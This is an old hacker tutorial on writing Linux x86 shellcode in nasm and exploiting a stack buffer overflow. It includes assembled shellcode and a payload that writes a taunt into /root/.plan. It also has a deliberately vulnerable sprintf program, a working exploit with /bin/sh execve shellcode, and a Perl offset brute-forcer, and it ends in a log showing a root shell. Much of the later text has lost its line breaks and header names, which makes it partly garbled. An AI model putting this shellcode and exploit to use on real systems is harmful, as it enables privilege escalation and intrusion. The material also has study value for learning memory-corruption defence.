There are so many different buffer overflow techniques these days that I wont 
even try to describe them all. Actually I wont try to explain how the exploit 
works because Aleph1 wrote an excellent text on the subject that explains just 
that. But I'll teach you some tricks that I use when I'm looking for them and 
writing demo exploits. Consider this as a complement to Aleph1 and mudges
tutorials and not as a full tutorial.. 

BTW you probably want to read "smashing the stack for fun and profit" 
before you read this, you can find it in an old phrack issue (www.phrack.com)..


Ok, here we go..

Shellcodes.

Hopefully you read Aleph1s tutorial and know what a shellcode is, unfortunally
his text doesn't explain how to write them in great detail (and he uses AT&T 
assembler language to write it, which is just plain nasty :)).

I'll attempt to explain how to write shellcodes for the Linux x86 platform
because this is probably what the majority of the targeted readers uses. 


First you'll need a assembler compiler. I suggest that you get nasm from a
linux kernel archive near you, because that is what I'll use and it uses Intel
asm syntax. 

What we'll do is to write a small assembler program that uses syscalls to 
do something simple (print TEST! to stdout). But first we need to know how 
to call syscalls from assembler in Linux.

I know 2 ways of doing this, both are fairly simple.

1) push the arguments in reverse order onto the stack and call the function.

2) move the syscall number & the arguments into registers (E)AX (E)BX (E)CX 
(E)DX, it is a little more complicated than this but only when the syscall 
takes more than 3 arguments but our simple shellcode doesnt use any syscalls 
that do that so don't worry :).

Another thing we need to know is what number the syscall we are going to use
has. You can look them up in /usr/include/asm/unistd.h
Another thing that can be good to know is that the return values returns in
(E)AX.

Now we can start writing our shellcode. 

NOTE: this is nasm source code !

global main
main: 
section .text

jmp text   ; jump to text 
blah:
pop ecx    ; 2:nd argument to write(2) is the string 
mov eax,4  ; 4 is write(2)'s number
mov ebx,1  ; we are writing to stdout
mov edx,6   ; we'll write 6 chars
int 80h    ; turn controll over to the kernel and execute.

text:
call blah  ; "jump" to blah but store the next address (our string) on the stack
msg db "TEST!",0xA

Now we compile it and try it.

Linux:~# nasm -felf shell.asm -o shell.o
Linux:~# gcc shell.o 
Linux:~# ./a.out
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!
TEST!

It works ! but it will loop between blah and text forever. We need to
add a exit() to it. The new code looks like this.
 
global main
main:
section .text

jmp text   ; jump to text
blah:
pop ecx    ; 2:nd argument to write(2) is the string
mov eax,4  ; 4 is write(2)'s number
mov ebx,1  ; we are writing to stdout
mov edx,6   ; we'll write 6 chars
int 80h    ; turn control over to the kernel and execute.

mov eax,1  ; exit() == 1
int 80h

text:
call blah  ; "jump" to blah but store the next address (our string) on the
stack
msg db "TEST!",0xA

Compile and test again.

Linux:~# nasm -felf shell.asm -o shell.o
Linux:~# gcc shell.o 
Linux:~# ./a.out 
TEST!
Linux:~# 

Then fire up gdb and get the opcodes.

Linux:~# gdb a.out 
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) x/40bx main
0x8048390 
: 0xe9 0x19 0x00 0x00 0x00 0x59 0xb8 0x04 0x8048398 : 0x00 0x00 0x00 0xbb 0x01 0x00 0x00 0x00 0x80483a0 : 0xba 0x06 0x00 0x00 0x00 0xcd 0x80 0xb8 0x80483a8 : 0x01 0x00 0x00 0x00 0xcd 0x80 0xe8 0xe2 0x80483b0 : 0xff 0xff 0xff 0x54 0x45 0x53 0x54 0x21 (gdb) We grab a large chunk of memory to make sure that we dont have any 0x00 before we start to write the shellcode since a buffer overflow where a character buffer is being overflowed a shellcode with 0x00 will be useless. uh oh.. we do have 0x00 in our shellcode !! But it is pretty easy to find what instructions that are causing them. For instance 0x01 0x00 0x00 0x00 is the file descriptor for the write call. eax,ebx,ecx,edx happens to be extended register (32 bits) ax,bx,cx,dx are 16bit registers but they are made up with 2 8 bit registers and you can access them individually. So ax can be devided into al, ah al is the lower bits of ax and ah is the higher bits. Knowing this we rewrite our program. global main main: section .text jmp short text ; jump to text blah: pop ecx ; 2:nd argument to write(2) is the string mov al,4 ; 4 is write(2)'s number mov bl,1 ; we are writing to stdout mov dl,6 ; we'll write 6 chars int 80h ; turn controll over to the kernel and execute. mov al,1 int 80h text: call blah ; "jump" to blah but store the next address (our string) on the stack msg db "TEST!",0xA Now we recompile it, and see if it works. Linux:~# nasm -f elf shell.asm -o shell.o Linux:~# gcc shell.o Linux:~# ./a.out Linux:~# Nope, didnt work. So back to gdb again. Linux:~# gdb a.out GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) x/40bx main 0x8048390
: 0xeb 0x0d 0x59 0xb4 0x04 0xb7 0x01 0xb6 0x8048398 : 0x06 0xcd 0x80 0xb0 0x01 0xcd 0x80 0xe8 0x80483a0 : 0xee 0xff 0xff 0xff 0x54 0x45 0x53 0x54 0x80483a8 : 0x21 0x0a 0x90 0x90 0x55 0x89 0xe5 0x53 0x80483b0 <__do_global_ctors_aux+4>: 0xbb 0x10 0x94 0x04 0x08 0x83 0x3d 0x10 (gdb) We got rid of the 0x00's but it doesnt work. Now is the time to find out why it didnt work. (gdb) run Starting program: /root/a.out warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Program received signal SIGINT, Interrupt. 0x804839f in text () (gdb) info all-registers eax 0xffffffda -38 ecx 0x80483a4 134513572 edx 0x8040614 134481428 ebx 0x400f0174 1074725236 esp 0xbffff68c 0xbffff68c ebp 0xbffff6a8 0xbffff6a8 esi 0x40009f00 1073782528 edi 0xbffff6d4 -1073744172 eip 0x804839f 0x804839f eflags 0x246 582 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 Umm.. this isnt what we put into eax,ebx,ecx,edx, BUT we only altered the lower bits ! What we need to do is to zero them, there are 2 ways we can do that. xor or sub (subtract) them with themself. so we rewrite the code AGAIN.. :) global main main: section .text jmp short text ; jump to text blah: pop ecx ; 2:nd argument to write(2) is the string xor eax,eax xor ebx,ebx xor edx,edx mov al,4 ; 4 is write(2)'s number mov bl,1 ; we are writing to stdout mov dl,6 ; we'll write 6 chars int 80h ; turn controll over to the kernel and execute. mov al,1 int 80h text: call blah ; "jump" to blah but store the next address (our string) on the stack msg db "TEST!",0xA Linux:~# nasm -f elf shell.asm -o shell.o Linux:~# gcc shell.o Linux:~# ./a.out TEST! Linux:~# This time it works ! Linux:~# gdb a.out GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) x/40bx main 0x8048390
: 0xeb 0x13 0x59 0x31 0xc0 0x31 0xdb 0x31 0x8048398 : 0xd2 0xb0 0x04 0xb3 0x01 0xb2 0x06 0xcd 0x80483a0 : 0x80 0xb0 0x01 0xcd 0x80 0xe8 0xe8 0xff 0x80483a8 : 0xff 0xff 0x54 0x45 0x53 0x54 0x21 0x0a 0x80483b0 <__do_global_ctors_aux>: 0x55 0x89 0xe5 0x53 0xbb 0x14 0x94 0x04 And no 0x00's !! We did it! Now we put it together and we get this. char shellcode[]="\xeb\x13\x59\x31\xc0\x31\xdb\x31" "\xd2\xb0\x04\xb3\x01\xb2\x06\xcd" "\x80\xb0\x01\xcd\x80\xe8\xe8\xff" "\xff\xff\x54\x45\x53\x54\x21\x0a"; Test it just to be sure. ----------------- test.c ----------------- char shellcode[]="\xeb\x13\x59\x31\xc0\x31\xdb\x31" "\xd2\xb0\x04\xb3\x01\xb2\x06\xcd" "\x80\xb0\x01\xcd\x80\xe8\xe8\xff" "\xff\xff\x54\x45\x53\x54\x21\x0a"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } --------------- cut here ------------------ Linux:/sploit# gcc test.c -o test test.c: In function `main': test.c:6: warning: return type of `main' is not `int' Linux:/sploit# ./test TEST! Linux:/sploit# IT WORKS !! But there are easier ways, I'll show you how to use my favorite shellcode util from typo/teso (ph33r teso !:)). ---------------- outp.c ----------------- #include /* convert .s to shellcode. typo/teso (typo@inferno.tusculum.edu) $ cat lala.s .globl cbegin .globl cend cbegin: xorl %eax, %eax ... cend: $ gcc -Wall lala.s outp.c -o lala $ ./lala unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb3\x0f\xb1\x0f\xb0\x47\xcd\x80\xeb\x1e\x5b" "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c" "\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff" "\x2f\x74\x6d\x70\x2f\x74\x73\x74\x65\x73\x6f\x63\x72\x65\x77\x21\x21"; ... */ extern void cbegin(); extern void cend(); int main() { char *buf = (char *) cbegin; int i = 0, x = 0; printf("unsigned char shellcode[] = \n\""); for (; (*buf) && (buf < (char *) cend); buf++) { if (i++ == 17) i = 1; if (i == 1 && x != 0) printf("\"\n\""); x = 1; printf("\\x%02x", (unsigned char) *buf); } printf("\";\n"); printf(" int main() { void (*f)(); f = (void *) shellcode; printf(\"%%d\\n\", strlen(shellcode)); f(); } "); return(0); } --------------- cute here ---------------- But to use our code with outp we need to modify it just a little.. -------------- outp-code.asm ------------- global main global cbegin global cend cbegin: section .text jmp short text ; jump to text blah: pop ecx ; 2:nd argument to write(2) is the string xor eax,eax xor ebx,ebx xor edx,edx mov al,4 ; 4 is write(2)'s number mov bl,1 ; we are writing to stdout mov dl,6 ; we'll write 6 chars int 80h ; turn controll over to the kernel and execute. mov al,1 int 80h text: call blah ; "jump" to blah but store the next address (our string) on the stack msg db "TEST!",0xA cend: -------------- cut here ---------------- Linux:/sploit# nasm -f elf outp-code.asm -o outp-code.o Linux:/sploit# gcc outp.c outp-code.o -o test Linux:/sploit# ./test > blah.c Linux:/sploit# cat blah.c unsigned char shellcode[] = "\xeb\x13\x59\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\xb2\x06\xcd\x80" "\xb0\x01\xcd\x80\xe8\xe8\xff\xff\xff\x54\x45\x53\x54\x21\x0a"; int main() { void (*f)(); f = (void *) shellcode; printf("%d\n", strlen(shellcode)); f(); } Linux:/sploit# gcc blah.c -o blah Linux:/sploit# ./blah 32 TEST! Linux:/sploit# Pretty cool util, huh ? :) It isnt that hard once you get the hang of linux assembler, but to get you started we'll write one more shellcode but now that we understand the theory we'll move a little faster. A good idea is to write a "prototype" in C first. #include #include #include main () { int fd; fd = open("/root/.plan", O_CREAT|O_WRONLY|O_APPEND, S_IRWXU|S_IRGRP|S_IROTH); write(fd,"H0h0 I 0wN y0U......",20); } What we need to do now is to write a assembler version, but we have no idea what argument 2 & 3 to he open call are so we'll ask gdb. Linux:/sploit# gcc t.c Linux:/sploit# gdb a.out GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x80483e8
: push %ebp 0x80483e9 : mov %esp,%ebp 0x80483eb : sub $0x4,%esp 0x80483ee : push $0x1e4 0x80483f3 : push $0x441 0x80483f8 : push $0x8048474 0x80483fd : call 0x804833c 0x8048402 : add $0xc,%esp 0x8048405 : mov %eax,%eax 0x8048407 : mov %eax,0xfffffffc(%ebp) 0x804840a : push $0x14 0x804840c : push $0x8048480 0x8048411 : mov 0xfffffffc(%ebp),%eax 0x8048414 : push %eax 0x8048415 : call 0x804830c 0x804841a : add $0xc,%esp 0x804841d : leave 0x804841e : ret 0x804841f : nop End of assembler dump. This is the open(2) call, we can see how the arguments are pushed, but they are pushed in reverse order so the first push pushes the last argument. So write down them for later use. 0x80483ee : push $0x1e4 0x80483f3 : push $0x441 0x80483f8 : push $0x8048474 0x80483fd : call 0x804833c Now we have everything we need to write the assembler code. global cbegin global cend cbegin: section .text jmp short text blah: xor eax,eax xor edx,edx pop ebx ; file offset mov [ebx+11],dl ; terminate filename mov al,5 ; open() mov cx,441h ; flags that we got from gdb mov dx,1e4h ; file mode that we got from gdb int 80h mov ecx, ebx ; save file offset add cl,12 ; add 12 to offset xor edx,edx ; clear edx xor ebx,ebx ; clear ebx mov bl,al ; save fd from open() remember the return value is stored in eax mov al,4 ; write() mov dl,21 ; write 21 bytes int 80h xor eax,eax mov al,1 ; exit() int 80h text: call blah progg db "/root/.plan" db " H0h0 I 0wN y0U......" cend: Linux:/sploit# nasm -f elf plan.asm -o plan.o Linux:/sploit# gcc plan.o outp.c Linux:/sploit# ./a.out > test.c Linux:/sploit# gcc test.c Linux:/sploit# ls -l /root/.plan /bin/ls: /root/.plan: No such file or directory Linux:/sploit# ./a.out 82 Linux:/sploit# ls -l /root/.plan -rwxr--r-- 1 root root 21 Sep 12 01:43 /root/.plan* Linux:/sploit# cat /root/.plan H0h0 I 0wN y0U......Linux:/sploit# It works ! We are elite, ph33r us damnit ! :) Now that we know how to write shellcode we can try to exploit a vulnerable program. But first I'm going to give you 2 tools that we are going to use later. ---------------- buf.c ---------------- main(int argc, char *argv[]) { int i; for (i=1;i<=atoi(argv[1]);i++) printf("a"); } ------------- cut here ---------------- -------------- brute ------------------ #!/usr/bin/perl $p=$ARGV[0]; $i=$ARGV[1]; $b=$ARGV[2]; while(1){ print "offset: $i.\n"; system("$p $i $b"); $i+=10; } ------------- cut here ---------------- And we need a vulnerable test program. --------------- bo.c ------------------ main(int argc, char *argv[]) { char test[160]; sprintf(test,"%s",argv[1]); } ------------- cut here ---------------- and we need a exploit, so we rip a little code from aleph1's eggshell and modify it to suit our needs. -------------- sploit.c --------------- #include #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset, bsize; int i; if (argc > 1) offset = atoi(argv[1]); if (argc > 2) bsize = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; execlp("/sploit/bo","bo",buff,0); } ------------- cut here ---------------- Now compile everything. Linux:/sploit# gcc sploit.c -o sploit Linux:/sploit# gcc bo.c -o bo Linux:/sploit# gcc buf.c -o buf Linux:/sploit# ls bo* bo.c brute* buf* buf.c sploit* sploit.c Linux:/sploit# In real life we probably wouldnt know how much data the buffer can hold so we would have to test it. Linux:/sploit# ./bo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Linux:/sploit# ./bo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Linux:/sploit# ./bo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Linux:/sploit# ./bo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault Linux:/sploit# This method sucks because it is time consuming and we have to count our input. So we'll use buf instead. Linux:/sploit# ./bo `./buf 200` Segmentation fault Linux:/sploit# ./bo `./buf 100` Linux:/sploit# ./bo `./buf 150` Linux:/sploit# ./bo `./buf 175` Segmentation fault Linux:/sploit# ./bo `./buf 164` Segmentation fault Linux:/sploit# ./bo `./buf 160` Linux:/sploit# This was much easier and gave us a pretty exact result. Often you dont have to know the EXACT buffer size but if you do you can combine buf with gdb and watch the registers. we DONT have to do this but I'll show it anyway. Linux:/sploit# gdb bo GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) run `./buf 168` Starting program: /sploit/bo `./buf 168` warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) info all-registers eax 0xa8 168 ecx 0xbffff45c -1073744804 edx 0xbffff45c -1073744804 ebx 0x400fd974 1074780532 esp 0xbffff5d0 0xbffff5d0 ebp 0x61616161 0x61616161 <- Notice this.. esi 0x40009f00 1073782528 edi 0xbffff614 -1073744364 eip 0x61616161 0x61616161 <- And this. eflags 0x10296 66198 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) run `./buf 164` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /sploit/bo `./buf 164` warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Program received signal SIGSEGV, Segmentation fault. 0x40032200 in __libc_start_main () from /lib/libc.so.6 (gdb) info all-registers eax 0xa4 164 ecx 0xbffff46c -1073744788 edx 0xbffff46c -1073744788 ebx 0x400fd974 1074780532 esp 0xbffff5e0 0xbffff5e0 ebp 0x61616161 0x61616161 <- Notice this esi 0x40009f00 1073782528 edi 0xbffff624 -1073744348 eip 0x40032200 0x40032200 <- Compare with the last run. eflags 0x10292 66194 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 Not so hard, was it ? Now we'll try to exploit it. Linux:/sploit# ./sploit 0 200 Illegal instruction Linux:/sploit# ./sploit 10 200 Illegal instruction Linux:/sploit# ./sploit 20 200 Illegal instruction Linux:/sploit# ./sploit 30 200 Illegal instruction Linux:/sploit# ./sploit -20 200 Illegal instruction Linux:/sploit# Ummm we need a faster way so we'll fire up brute.. Linux:/sploit# ./brute ./sploit -400 200 offset: -400. offset: -390. offset: -380. offset: -370. offset: -360. sh-2.03# Easy, wasnt it ? :) // SOTMESC poster that wishes to remain anonymous...